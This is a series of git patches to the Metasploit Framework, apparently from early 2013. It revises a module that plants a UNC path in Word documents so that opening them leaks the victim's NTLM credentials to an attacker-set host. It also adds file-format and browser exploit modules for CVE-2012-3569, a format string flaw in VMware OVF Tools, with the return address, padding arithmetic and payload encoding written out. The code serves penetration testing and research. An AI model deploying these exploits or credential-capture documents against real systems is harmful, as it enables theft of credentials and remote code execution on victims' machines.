diff --git a/data/exploits/docx/word/styles.xml b/data/exploits/docx/word/styles.xml new file mode 100644 index 0000000000..4a084626fc --- /dev/null +++ b/data/exploits/docx/word/styles.xml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/data/exploits/docx/word/theme/theme1.xml b/data/exploits/docx/word/theme/theme1.xml new file mode 100644 index 0000000000..a06c80529b --- /dev/null +++ b/data/exploits/docx/word/theme/theme1.xml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/data/exploits/docx/word/webSettings.xml b/data/exploits/docx/word/webSettings.xml new file mode 100644 index 0000000000..b4a16977f7 --- /dev/null +++ b/data/exploits/docx/word/webSettings.xml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/modules/auxiliary/docx/word_unc_injector.rb b/modules/auxiliary/docx/word_unc_injector.rb index 95410ef7cf..147b3dfd0b 100644 --- a/modules/auxiliary/docx/word_unc_injector.rb +++ b/modules/auxiliary/docx/word_unc_injector.rb @@ -6,10 +6,13 @@ ## require 'msf/core' -require 'zip/zip' +require 'zip/zip' #for extracting files +require 'rex/zip' #for creating files class Metasploit3 < Msf::Auxiliary + include Msf::Exploit::FILEFORMAT + def initialize(info = {}) super(update_info(info, 'Name' => 'Microsoft Word UNC Path Injector', @@ -22,7 +25,6 @@ class Metasploit3 < Msf::Auxiliary 2007 and 2010 as of Januari 2013 date by using auxiliary/server/capture/smb }, 'License' => MSF_LICENSE, - 'Version' => '$Revision: 1 $', 'References' => [ [ 'URL', 'http://jedicorp.com/?p=534' ], @@ -35,114 +37,123 @@ class Metasploit3 < Msf::Auxiliary register_options( [ - OptAddress.new('LHOST',[true, 'Server IP or hostname that the .docx document points to','']), - OptString.new('SRCFILE', [false, '.docx file to backdoor. If left empty, creates an emtpy document', '']), - OptString.new('SKLFILENAME', [false,'Document output filename', 'stealnetNTLM.docx']), - OptPath.new('SKLOUTPUTPATH', [false, 'The location where the backdoored empty .docx file will be written','./']), - OptString.new('SKLDOCAUTHOR',[false,'Document author for skeleton document', 'SphaZ']), + OptAddress.new('LHOST',[true, 'Server IP or hostname that the .docx document points to.','']), + OptString.new('SOURCE', [false, 'Full path and filename of .docx file to use as source. If empty, creates new document', '']), + OptString.new('FILENAME', [true, 'Document output filename.', 'stealnetNTLM.docx']), + OptString.new('DOCAUTHOR',[false,'Document author for empty document.', 'SphaZ']), ], self.class) end - - #here we create an empty .docx file with the UNC path. Only done when SRCFILE is empty + #here we create an empty .docx file with the UNC path. Only done when FILENAME is empty def makeNewFile metadataFileData = "" metadataFileData << "" - metadataFileData << "#{datastore['SKLDOCAUTHOR']}#{datastore['SKLDOCAUTHOR']}" + metadataFileData << "#{datastore['DOCAUTHOR']}#{datastore['DOCAUTHOR']}" metadataFileData << "1" metadataFileData << "2013-01-08T14:14:00Z" metadataFileData << "2013-01-08T14:14:00Z" - #Lets get the local filepath to figure out where we need to write the metadata file - metadataFileName = File.dirname(self.file_path)+'/sourcedoc/docProps/core.xml' + #where to find the skeleton files required for creating an empty document + dataDir = File.join(Msf::Config.install_root, "data", "exploits", "docx") + tmpDir = "#{Dir.tmpdir}/unc_tmp" + + #setup temporary directory structure begin - if File.exists?(metadataFileName) - vprint_status("Deleting metadatafile") - File.delete(metadataFileName) + cleanupTmp(tmpDir) + FileUtils.mkdir_p("#{tmpDir}/docProps/") + FileUtils.mkdir_p("#{tmpDir}/word/_rels/") + rescue + print_error("Error generating temp directory structure.") + return nil + end + + #here we store our on-the-fly created files + begin + f = File.open("#{tmpDir}/docProps/core.xml", 'wb') + f.write(metadataFileData) + f.close() + f = File.open("#{tmpDir}/word/_rels/settings.xml.rels", 'wb') + f.write(@relsFileData) + f.close() + rescue + print_error("Cant write to temp file.") + cleanupTmp(tmpDir) + return nil + end + + #making the actual docx + begin + docx = Rex::Zip::Archive.new + #add skeleton files + vprint_status("Adding skeleton files from #{dataDir}") + Dir["#{dataDir}/**/**"].each do |file| + if not File.directory?(file) + docx.add_file(file.sub(dataDir,''), File.read(file)) + end end - fd = File.open( metadataFileName, 'wb+' ) - fd.puts(metadataFileData) - fd.close + #add on-the-fly created documents + vprint_status("Adding injected files") + Dir["#{Dir.tmpdir}/unc_tmp/**/**"].each do |file| + if not File.directory?(file) + docx.add_file(file.sub("#{Dir.tmpdir}/unc_tmp/",''), File.read(file)) + end + end + #add the otherwise skipped "hidden" file + file = "#{dataDir}/_rels/.rels" + docx.add_file(file.sub(dataDir,''), File.read(file)) + file_create(docx.pack) rescue - print_error("Cant write to #{metadataFileName} make sure module and data are intact") + print_error("Error creating empty document #{datastore['FILENAME']}") + cleanupTmp(tmpDir) return nil end - - #now lets write the _rels file that contains the UNC path - refdataFileName = File.dirname(self.file_path) + '/sourcedoc/word/_rels/settings.xml.rels' - begin - fd = File.open( refdataFileName, 'wb+' ) - fd.puts(@relsFileData) - fd.close - rescue - print_error("Cant write to #{refdataFileName} make sure module and data are intact.") - return nil - end - - #and finally, lets creat the .docx file - inputPath = File.dirname(self.file_path) + '/sourcedoc/' - inputPath.sub!(%r[/S],'') - - archive = File.join(datastore['SKLOUTPUTPATH'], datastore['SKLFILENAME']) - #if file exists, lets not overwrite - if File.exists?(archive) - print_error("Output file #{archive} already exists! Set a different name for SKLOUTPUTPATH and/or SKLFILENAME.") - return nil - end - - if zipDocx(inputPath, archive, false).nil? - return nil - end - - begin - #delete the created xml files, the less evidence of parameters used the better - File.delete(File.dirname(self.file_path)+'/sourcedoc/docProps/core.xml') - File.delete(File.dirname(self.file_path) + '/sourcedoc/word/_rels/settings.xml.rels') - rescue - print_error("Error deleting local core and settings documents. Generating new file worked though") - end + + cleanupTmp(tmpDir) return 0 end + + #cleaning up of temporary files. If it fails we say so, but continue anyway + def cleanupTmp(dir) + begin + FileUtils.rm_rf(dir) + rescue + print_error("Error cleaning up tmp directory structure.") + end + end - #this bit checks the settings.xml and looks for the relations file entry we need for our evil masterplan. - #and then inserts the UNC path into the _rels file. + #here we inject an UNC path into an existing file, and store the injected file in FILENAME def manipulateFile + #where do we unpack our source file? + tmpDir = "#{Dir.tmpdir}/#{Time.now.to_i}#{rand(1000)}/" ref = "" - if File.exists?(datastore['SRCFILE']) - if File.stat(datastore['SRCFILE']).readable? and File.stat(datastore['SRCFILE']).writable? - vprint_status("We can read and write the file, this is probably a good thing :P") - else - print_error("Not enough rights to modify the file. Aborting.") + if File.exists?(datastore['SOURCE']) + if not File.stat(datastore['SOURCE']).readable? + print_error("Not enough rights to read the file. Aborting.") return nil end - fileContent = getFileFromDocx("word/settings.xml") - if fileContent.nil? + #lets extract our docx + if unzipDocx(tmpDir).nil? return nil - end + end + fileContent = File.read("#{tmpDir}/word/settings.xml") + if not fileContent.index("w:attachedTemplate r:id=\"rId1\"").nil? vprint_status("Reference to rels file already exists in settings file, we dont need to add it :)") - #and we put just our rels file into the docx - if unzipDocx.nil? + + #we put just our rels file into the docx + if updateDocxFile(tmpDir,"word/_rels/settings.xml.rels", @relsFileData).nil? return nil end - if updateDocxFile("word/_rels/settings.xml.rels", @relsFileData).nil? - return nil - end - #ok we got through this, lets zip the file, overwriting the original in this case - begin - File.delete(datastore['SRCFILE']) - if zipDocx(@tmpDir, datastore['SRCFILE'],true).nil? - return nil - end - rescue - print_error("Can't modify the original document :(") + + # lets zip the end result + if zipDocx(tmpDir).nil? return nil end else @@ -154,166 +165,128 @@ class Metasploit3 < Msf::Auxiliary if not insertTwo.nil? vprint_status("HypenationZone found, we use this for insertion.") fileContent.insert(insertTwo, ref ) - end + end else vprint_status("DefaultTabStop found, we use this for insertion.") fileContent.insert(insertOne, ref ) - end + end if insertOne.nil? && insertTwo.nil? - vprint_error("Cannot find insert point for reference into settings.xml") + print_error("Cannot find insert point for reference into settings.xml") + cleanupTmp(tmpDir) return nil end - if unzipDocx.nil? + #lets extract our docx + if unzipDocx(tmpDir).nil? return nil end - #update the settings files - if updateDocxFile("word/settings.xml",fileContent).nil? + + #update the files that contain the injection and reference + if updateDocxFile(tmpDir, "word/settings.xml",fileContent).nil? print_error("Error inserting data into word/settings.xml") return nil end - if updateDocxFile("word/_rels/settings.xml.rels", @relsFileData).nil? + if updateDocxFile(tmpDir, "word/_rels/settings.xml.rels", @relsFileData).nil? print_error("Eror inserting data into word/_rels/settings.xml.rels") return nil end - #ok we got through this, lets zip the file, overwriting the original in this case - begin - File.delete(datastore['SRCFILE']) - if zipDocx(@tmpDir, datastore['SRCFILE'],true).nil? - return nil - end - rescue - print_error("Can't modify the original document :(") + + #lets zip the file + if zipDocx(tmpDir).nil? return nil end end else - print_error("File #{datastore['SRCFILE']} does not exist. Aborting.") + print_error("File #{datastore['SOURCE']} does not exist.") return nil end + cleanupTmp(tmpDir) return 0 end - #read a file from .docx into a string - def getFileFromDocx(fileString) + #making the actual docx + def zipDocx(tmpDir) begin - Zip::ZipFile.open(datastore['SRCFILE']) do |fileZip| - fileZip.each do |f| - next unless f.to_s == fileString - return f.get_input_stream.read + docx = Rex::Zip::Archive.new + #add skeleton files + vprint_status("Adding files from #{tmpDir}") + Dir["#{tmpDir}/**/**"].each do |file| + if not File.directory?(file) + docx.add_file(file.sub(tmpDir,''), File.read(file)) end end - fileZip.close - print_error("Cant find #{fileString} inside the .docx") - return nil + #add the otherwise skipped "hidden" file + file = "#{tmpDir}/_rels/.rels" + docx.add_file(file.sub(tmpDir,''), File.read(file)) + file_create(docx.pack) rescue - print_error("Unknown error reading docx file.") - fileZip.close + print_error("Error creating compressed document #{datastore['FILENAME']}") + cleanupTmp(tmpDir) return nil end - fileZip.close end - def zipDocx(inputPath, archive, delsource) + #unzip the .docx document. sadly Rex::zip does not uncompress so we do it the Rubyzip way + def unzipDocx(tmpDir) begin - #add the prepared files to the zip file - Zip::ZipFile.open(archive, 'wb') do |fileZip| - Dir["#{inputPath}/**/**"].reject{|f|f==archive}.each do |file| - fileZip.add(file.sub(inputPath+'/',''), file) - end - relsFile = inputPath + '/_rels/.rels' - fileZip.add(relsFile.sub(inputPath+'/',''), relsFile) - end - rescue - print_error("Error zipping file..") - begin - FileUtils.rm_rf(inputPath) - rescue - print_error("Cant even clean up my own mess, I give up") - return nil - end - return nil - end - #do we delete the source? - if delsource - begin - FileUtils.rm_rf(inputPath) - rescue - print_error("Cant even clean up my own mess, I give up") - end - end - return 0 - end - - def unzipDocx - begin - vprint_status("tmpdir: #{@tmpDir}") - if not File.directory?(@tmpDir) - vprint_status("Damn rubyzip cant be relied upon, so we do it the hard way. Extracting #{datastore['SRCFILE']}") - Zip::ZipFile.open(datastore['SRCFILE']) do |fileZip| + if not File.directory?(tmpDir) + vprint_status("Damn rubyzip cant be relied upon, so we do it the hard way. Extracting #{datastore['SOURCE']}") + Zip::ZipFile.open(datastore['SOURCE']) do |fileZip| fileZip.each do |entry| - if not entry.nil? - vprint_status("extracting entry: #{entry.name}") - end - fpath = File.join(@tmpDir, entry.name) + fpath = File.join(tmpDir, entry.name) FileUtils.mkdir_p(File.dirname(fpath)) fileZip.extract(entry, fpath) end end end rescue - print_error("There was an error unzipping") + print_error("There was an error unzipping.") + cleanupTmp(tmpDir) return nil end return 0 end #used for updating the files inside the docx from a string - def updateDocxFile(fileString, content) + def updateDocxFile(tmpDir,fileString, content) begin - #ok so now we unpacked the docx file, lets start to update the file we need to do - #does the file already exist? - archive = File.join(@tmpDir, fileString) + archive = File.join(tmpDir, fileString) vprint_status("We need to look for: #{archive}") if File.exists?(archive) vprint_status("Deleting original file #{archive}") File.delete(archive) end - #now lets put OUR file there File.open(archive, 'wb+') { |f| f.write(content) } rescue Exception => ex print_error("Well, extracting and manipulating the file went wrong :(") + cleanupTmp(tmpDir) return nil end return 0 end def run - #we need this in in bot makeNewFile and manipulateFile + #we need this in makeNewFile and manipulateFile @relsFileData = "" @relsFileData << "".chomp @relsFileData << "".chomp @relsFileData << "" - #where do we unpack our file? - @tmpDir = "#{Dir.tmpdir}/#{Time.now.to_i}#{rand(1000)}/" - if "#{datastore['SRCFILE']}" == "" + if "#{datastore['SOURCE']}" == "" #make an empty file print_status("Creating empty document") if not makeNewFile.nil? - print_good("Success! Document #{datastore['SKLFILENAME']} created in #{datastore['SKLOUTPUTPATH']}") + print_good("Success! Empty document #{datastore['FILENAME']} created.") end else #extract the word/settings.xml and edit in the reference we need print_status("Injecting UNC path into existing document.") if not manipulateFile.nil? - print_good("Success! Document #{datastore['SRCFILE']} now references to #{datastore['LHOST']}") - else - print_error("Something went wrong!") + print_good("Copy of #{datastore['SOURCE']} called #{datastore['FILENAME']} points to #{datastore['LHOST']}.") end end end From 145cf618aa8b4ab32c1c679d669ebf0b3055f628 Mon Sep 17 00:00:00 2001 From: SphaZ Date: Mon, 4 Feb 2013 13:51:01 +0100 Subject: [PATCH 097/448] msftidy --- modules/auxiliary/docx/word_unc_injector.rb | 18 +++++++++--------- 1 file changed, 9 insertions(+), 9 deletions(-) diff --git a/modules/auxiliary/docx/word_unc_injector.rb b/modules/auxiliary/docx/word_unc_injector.rb index 147b3dfd0b..ccf94a838f 100644 --- a/modules/auxiliary/docx/word_unc_injector.rb +++ b/modules/auxiliary/docx/word_unc_injector.rb @@ -56,7 +56,7 @@ class Metasploit3 < Msf::Auxiliary metadataFileData << "2013-01-08T14:14:00Z" metadataFileData << "2013-01-08T14:14:00Z" - #where to find the skeleton files required for creating an empty document + #where to find the skeleton files required for creating an empty document dataDir = File.join(Msf::Config.install_root, "data", "exploits", "docx") tmpDir = "#{Dir.tmpdir}/unc_tmp" @@ -68,7 +68,7 @@ class Metasploit3 < Msf::Auxiliary rescue print_error("Error generating temp directory structure.") return nil - end + end #here we store our on-the-fly created files begin @@ -91,14 +91,14 @@ class Metasploit3 < Msf::Auxiliary vprint_status("Adding skeleton files from #{dataDir}") Dir["#{dataDir}/**/**"].each do |file| if not File.directory?(file) - docx.add_file(file.sub(dataDir,''), File.read(file)) + docx.add_file(file.sub(dataDir,''), File.read(file)) end end #add on-the-fly created documents vprint_status("Adding injected files") Dir["#{Dir.tmpdir}/unc_tmp/**/**"].each do |file| if not File.directory?(file) - docx.add_file(file.sub("#{Dir.tmpdir}/unc_tmp/",''), File.read(file)) + docx.add_file(file.sub("#{Dir.tmpdir}/unc_tmp/",''), File.read(file)) end end #add the otherwise skipped "hidden" file @@ -110,11 +110,11 @@ class Metasploit3 < Msf::Auxiliary cleanupTmp(tmpDir) return nil end - + cleanupTmp(tmpDir) return 0 end - + #cleaning up of temporary files. If it fails we say so, but continue anyway def cleanupTmp(dir) begin @@ -140,10 +140,10 @@ class Metasploit3 < Msf::Auxiliary #lets extract our docx if unzipDocx(tmpDir).nil? return nil - end + end fileContent = File.read("#{tmpDir}/word/settings.xml") - + if not fileContent.index("w:attachedTemplate r:id=\"rId1\"").nil? vprint_status("Reference to rels file already exists in settings file, we dont need to add it :)") @@ -215,7 +215,7 @@ class Metasploit3 < Msf::Auxiliary vprint_status("Adding files from #{tmpDir}") Dir["#{tmpDir}/**/**"].each do |file| if not File.directory?(file) - docx.add_file(file.sub(tmpDir,''), File.read(file)) + docx.add_file(file.sub(tmpDir,''), File.read(file)) end end #add the otherwise skipped "hidden" file From 3b528d7f6d13d530b7f66d8d8839ba33900af9fe Mon Sep 17 00:00:00 2001 From: SphaZ Date: Mon, 4 Feb 2013 14:00:13 +0100 Subject: [PATCH 098/448] removed data files from docx --- modules/auxiliary/docx/sourcedoc/[Content_Types].xml | 2 -- modules/auxiliary/docx/sourcedoc/_rels/.rels | 2 -- modules/auxiliary/docx/sourcedoc/docProps/app.xml | 2 -- modules/auxiliary/docx/sourcedoc/word/_rels/document.xml.rels | 2 -- modules/auxiliary/docx/sourcedoc/word/document.xml | 2 -- modules/auxiliary/docx/sourcedoc/word/fontTable.xml | 2 -- modules/auxiliary/docx/sourcedoc/word/settings.xml | 2 -- modules/auxiliary/docx/sourcedoc/word/styles.xml | 2 -- modules/auxiliary/docx/sourcedoc/word/theme/theme1.xml | 2 -- modules/auxiliary/docx/sourcedoc/word/webSettings.xml | 2 -- 10 files changed, 20 deletions(-) delete mode 100644 modules/auxiliary/docx/sourcedoc/[Content_Types].xml delete mode 100644 modules/auxiliary/docx/sourcedoc/_rels/.rels delete mode 100644 modules/auxiliary/docx/sourcedoc/docProps/app.xml delete mode 100644 modules/auxiliary/docx/sourcedoc/word/_rels/document.xml.rels delete mode 100644 modules/auxiliary/docx/sourcedoc/word/document.xml delete mode 100644 modules/auxiliary/docx/sourcedoc/word/fontTable.xml delete mode 100644 modules/auxiliary/docx/sourcedoc/word/settings.xml delete mode 100644 modules/auxiliary/docx/sourcedoc/word/styles.xml delete mode 100644 modules/auxiliary/docx/sourcedoc/word/theme/theme1.xml delete mode 100644 modules/auxiliary/docx/sourcedoc/word/webSettings.xml diff --git a/modules/auxiliary/docx/sourcedoc/[Content_Types].xml b/modules/auxiliary/docx/sourcedoc/[Content_Types].xml deleted file mode 100644 index 39a9cb897f..0000000000 --- a/modules/auxiliary/docx/sourcedoc/[Content_Types].xml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/modules/auxiliary/docx/sourcedoc/_rels/.rels b/modules/auxiliary/docx/sourcedoc/_rels/.rels deleted file mode 100644 index fdd8c4f371..0000000000 --- a/modules/auxiliary/docx/sourcedoc/_rels/.rels +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/modules/auxiliary/docx/sourcedoc/docProps/app.xml b/modules/auxiliary/docx/sourcedoc/docProps/app.xml deleted file mode 100644 index 1f97125772..0000000000 --- a/modules/auxiliary/docx/sourcedoc/docProps/app.xml +++ /dev/null @@ -1,2 +0,0 @@ - -0103Microsoft Office Outlook000falsefalse0falsefalse12.0000 \ No newline at end of file diff --git a/modules/auxiliary/docx/sourcedoc/word/_rels/document.xml.rels b/modules/auxiliary/docx/sourcedoc/word/_rels/document.xml.rels deleted file mode 100644 index 0079d06931..0000000000 --- a/modules/auxiliary/docx/sourcedoc/word/_rels/document.xml.rels +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/modules/auxiliary/docx/sourcedoc/word/document.xml b/modules/auxiliary/docx/sourcedoc/word/document.xml deleted file mode 100644 index 6e291134c2..0000000000 --- a/modules/auxiliary/docx/sourcedoc/word/document.xml +++ /dev/null @@ -1,2 +0,0 @@ - -hoi \ No newline at end of file diff --git a/modules/auxiliary/docx/sourcedoc/word/fontTable.xml b/modules/auxiliary/docx/sourcedoc/word/fontTable.xml deleted file mode 100644 index 20e9a398fe..0000000000 --- a/modules/auxiliary/docx/sourcedoc/word/fontTable.xml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/modules/auxiliary/docx/sourcedoc/word/settings.xml b/modules/auxiliary/docx/sourcedoc/word/settings.xml deleted file mode 100644 index 4692c237a8..0000000000 --- a/modules/auxiliary/docx/sourcedoc/word/settings.xml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/modules/auxiliary/docx/sourcedoc/word/styles.xml b/modules/auxiliary/docx/sourcedoc/word/styles.xml deleted file mode 100644 index 4a084626fc..0000000000 --- a/modules/auxiliary/docx/sourcedoc/word/styles.xml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/modules/auxiliary/docx/sourcedoc/word/theme/theme1.xml b/modules/auxiliary/docx/sourcedoc/word/theme/theme1.xml deleted file mode 100644 index a06c80529b..0000000000 --- a/modules/auxiliary/docx/sourcedoc/word/theme/theme1.xml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/modules/auxiliary/docx/sourcedoc/word/webSettings.xml b/modules/auxiliary/docx/sourcedoc/word/webSettings.xml deleted file mode 100644 index b4a16977f7..0000000000 --- a/modules/auxiliary/docx/sourcedoc/word/webSettings.xml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file From fa1811ac38ab93a3a46039acedfcdec3fd81750b Mon Sep 17 00:00:00 2001 From: SphaZ Date: Mon, 4 Feb 2013 15:25:11 +0100 Subject: [PATCH 099/448] changed SOURCE to be OptPath --- modules/auxiliary/docx/word_unc_injector.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/docx/word_unc_injector.rb b/modules/auxiliary/docx/word_unc_injector.rb index ccf94a838f..66c5325d38 100644 --- a/modules/auxiliary/docx/word_unc_injector.rb +++ b/modules/auxiliary/docx/word_unc_injector.rb @@ -38,7 +38,7 @@ class Metasploit3 < Msf::Auxiliary register_options( [ OptAddress.new('LHOST',[true, 'Server IP or hostname that the .docx document points to.','']), - OptString.new('SOURCE', [false, 'Full path and filename of .docx file to use as source. If empty, creates new document', '']), + OptPath.new('SOURCE', [false, 'Full path and filename of .docx file to use as source. If empty, creates new document', '']), OptString.new('FILENAME', [true, 'Document output filename.', 'stealnetNTLM.docx']), OptString.new('DOCAUTHOR',[false,'Document author for empty document.', 'SphaZ']), ], self.class) From 135718a97b9c0242f5f2c615090507b3498e5209 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 4 Feb 2013 16:36:33 +0100 Subject: [PATCH 100/448] Added module for cve-2012-3569, fileformat version --- .../windows/fileformat/ovf_format_string.rb | 119 ++++++++++++++++++ 1 file changed, 119 insertions(+) create mode 100644 modules/exploits/windows/fileformat/ovf_format_string.rb diff --git a/modules/exploits/windows/fileformat/ovf_format_string.rb b/modules/exploits/windows/fileformat/ovf_format_string.rb new file mode 100644 index 0000000000..cbd21fed2a --- /dev/null +++ b/modules/exploits/windows/fileformat/ovf_format_string.rb @@ -0,0 +1,119 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::FILEFORMAT + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'VMWare OVF Tools Format String Vulnerability', + 'Description' => %q{ + This module exploits a format string vulnerability in VMWare OVF Tools 2.1 for + Windows. The vulnerability occurs when printing error messages while parsing a + a malformed OVF file. The module has been tested successfully with VMWare OVF Tools + 2.1 on Windows XP SP3. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Jeremy Brown', # Vulnerability discovery + 'juan vazquez' # Metasploit Module + ], + 'References' => + [ + [ 'CVE', '2012-3569' ], + [ 'OSVDB', '87117' ], + [ 'BID', '56468' ], + [ 'URL', 'http://www.vmware.com/security/advisories/VMSA-2012-0015.html' ] + ], + 'Payload' => + { + 'DisableNops' => true, + 'BadChars' => + (0x00..0x08).to_a.pack("C*") + + "\x0b\x0c\x0e\x0f" + + (0x10..0x1f).to_a.pack("C*") + + (0x80..0xff).to_a.pack("C*") + + "\x22", + 'StackAdjustment' => -3500, + 'PrependEncoder' => "\x54\x59", # push esp # pop ecx + 'EncoderOptions' => + { + 'BufferRegister' => 'ECX', + 'BufferOffset' => 6 + } + }, + 'Platform' => 'win', + 'Targets' => + [ + # vmware-ovftool-2.1.0-467744-win-i386.msi + [ 'VMWare OVF Tools 2.1 on Windows XP SP3', + { + 'Ret' => 0x7852753d, # call esp # MSVCR90.dll 9.00.30729.4148 installed with VMware OVF Tools 2.1 + 'AddrPops' => 98, + 'StackPadding' => 38081, + 'Alignment' => 4096 + } + ], + ], + 'Privileged' => false, + 'DisclosureDate' => 'Nov 08 2012', + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('FILENAME', [ true, 'The file name.', 'msf.ovf']), + ], self.class) + end + + def ovf + my_payload = rand_text_alpha(4) # ebp + my_payload << [target.ret].pack("V") # eip # call esp + my_payload << payload.encoded + + fs = rand_text_alpha(target['StackPadding']) # Padding until address aligned to 0x10000 (for example 0x120000) + fs << rand_text_alpha(target['Alignment']) # Align to 0x11000 + fs << my_payload + # 65536 => 0x10000 + # 27 => Error message prefix length + fs << rand_text_alpha(65536 - 27 - target['StackPadding'] - target['Alignment'] - my_payload.length - (target['AddrPops'] * 8)) + fs << "%08x" * target['AddrPops'] # Reach saved EBP + fs << "%hn" # Overwrite LSW of saved EBP with 0x1000 + + ovf_file = <<-EOF + + + + + + + Virtual disk information + + + + A virtual machine + + + EOF + ovf_file + end + + def exploit + print_status("Creating '#{datastore['FILENAME']}'. This files should be opened with VMMWare OVF 2.1") + file_create(ovf) + end +end From e0d4bb57990db69576719389753adf4d24690404 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 4 Feb 2013 16:37:42 +0100 Subject: [PATCH 101/448] Added module for cve-2012-3569, browser version --- .../windows/browser/ovftool_format_string.rb | 130 ++++++++++++++++++ 1 file changed, 130 insertions(+) create mode 100644 modules/exploits/windows/browser/ovftool_format_string.rb diff --git a/modules/exploits/windows/browser/ovftool_format_string.rb b/modules/exploits/windows/browser/ovftool_format_string.rb new file mode 100644 index 0000000000..d15d81b06c --- /dev/null +++ b/modules/exploits/windows/browser/ovftool_format_string.rb @@ -0,0 +1,130 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::HttpServer::HTML + + def initialize(info={}) + super(update_info(info, + 'Name' => 'VMWare OVF Tools Format String Vulnerability', + 'Description' => %q{ + This module exploits a format string vulnerability in VMWare OVF Tools 2.1 for + Windows. The vulnerability occurs when printing error messages while parsing a + a malformed OVF file. The module has been tested successfully with VMWare OVF Tools + 2.1 on Windows XP SP3. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Jeremy Brown', # Vulnerability discovery + 'juan vazquez' # Metasploit Module + ], + 'References' => + [ + [ 'CVE', '2012-3569' ], + [ 'OSVDB', '87117' ], + [ 'BID', '56468' ], + [ 'URL', 'http://www.vmware.com/security/advisories/VMSA-2012-0015.html' ] + ], + 'Payload' => + { + 'DisableNops' => true, + 'BadChars' => + (0x00..0x08).to_a.pack("C*") + + "\x0b\x0c\x0e\x0f" + + (0x10..0x1f).to_a.pack("C*") + + (0x80..0xff).to_a.pack("C*") + + "\x22", + 'StackAdjustment' => -3500, + 'PrependEncoder' => "\x54\x59", # push esp # pop ecx + 'EncoderOptions' => + { + 'BufferRegister' => 'ECX', + 'BufferOffset' => 6 + } + }, + 'Platform' => 'win', + 'Targets' => + [ + # vmware-ovftool-2.1.0-467744-win-i386.msi + [ 'VMWare OVF Tools 2.1 on Windows XP SP3', + { + 'Ret' => 0x7852753d, # call esp # MSVCR90.dll 9.00.30729.4148 installed with VMware OVF Tools 2.1 + 'AddrPops' => 98, + 'StackPadding' => 38081, + 'Alignment' => 4096 + } + ], + ], + 'Privileged' => false, + 'DisclosureDate' => 'Nov 08 2012', + 'DefaultTarget' => 0)) + + end + + def ovf + my_payload = rand_text_alpha(4) # ebp + my_payload << [target.ret].pack("V") # eip # call esp + my_payload << payload.encoded + + fs = rand_text_alpha(target['StackPadding']) # Padding until address aligned to 0x10000 (for example 0x120000) + fs << rand_text_alpha(target['Alignment']) # Align to 0x11000 + fs << my_payload + # 65536 => 0x10000 + # 27 => Error message prefix length + fs << rand_text_alpha(65536 - 27 - target['StackPadding'] - target['Alignment'] - my_payload.length - (target['AddrPops'] * 8)) + fs << "%08x" * target['AddrPops'] # Reach saved EBP + fs << "%hn" # Overwrite LSW of saved EBP with 0x1000 + + ovf_file = <<-EOF + + + + + + + Virtual disk information + + + + A virtual machine + + + EOF + ovf_file + end + + def on_request_uri(cli, request) + agent = request.headers['User-Agent'] + uri = request.uri + + if agent !~ /VMware-client/ or agent !~ /ovfTool/ + print_status("User agent #{agent} not recognized, answering Not Found...") + send_not_found(cli) + end + + if uri =~ /.mf$/ + # The manifest file isn't required + print_status("Sending Not Found for Manifest file request...") + send_not_found(cli) + end + + print_status("Sending OVF exploit...") + send_response(cli, ovf, {'Content-Type'=>'text/xml'}) + end + +end \ No newline at end of file From 9ce5f39bc6afae2352c04edcc7d3626327743831 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 4 Feb 2013 16:42:56 +0100 Subject: [PATCH 102/448] added migrate as initial script --- modules/exploits/windows/browser/ovftool_format_string.rb | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/modules/exploits/windows/browser/ovftool_format_string.rb b/modules/exploits/windows/browser/ovftool_format_string.rb index d15d81b06c..fa3681ff88 100644 --- a/modules/exploits/windows/browser/ovftool_format_string.rb +++ b/modules/exploits/windows/browser/ovftool_format_string.rb @@ -51,6 +51,10 @@ class Metasploit3 < Msf::Exploit::Remote 'BufferOffset' => 6 } }, + 'DefaultOptions' => + { + 'InitialAutoRunScript' => 'migrate -f' + }, 'Platform' => 'win', 'Targets' => [ From 2c3de43f4b8c0e4d037feb3a51907a13228932bb Mon Sep 17 00:00:00 2001 From: David Maloney Date: Mon, 4 Feb 2013 12:10:44 -0600 Subject: [PATCH 103/448] datastore opts cleanup cleanuo digestauth datastore options in modules --- modules/auxiliary/gather/shodan_search.rb | 4 ++-- modules/auxiliary/server/http_ntlmrelay.rb | 3 +-- .../exploits/windows/http/xampp_webdav_upload_php.rb | 10 ++++------ 3 files changed, 7 insertions(+), 10 deletions(-) diff --git a/modules/auxiliary/gather/shodan_search.rb b/modules/auxiliary/gather/shodan_search.rb index 8b114dbdd8..6f63b7b95d 100644 --- a/modules/auxiliary/gather/shodan_search.rb +++ b/modules/auxiliary/gather/shodan_search.rb @@ -38,10 +38,10 @@ class Metasploit4 < Msf::Auxiliary )) # disabling all the unnecessary options that someone might set to break our query - deregister_options('RPORT','RHOST', 'BasicAuthPass', 'BasicAuthUser', 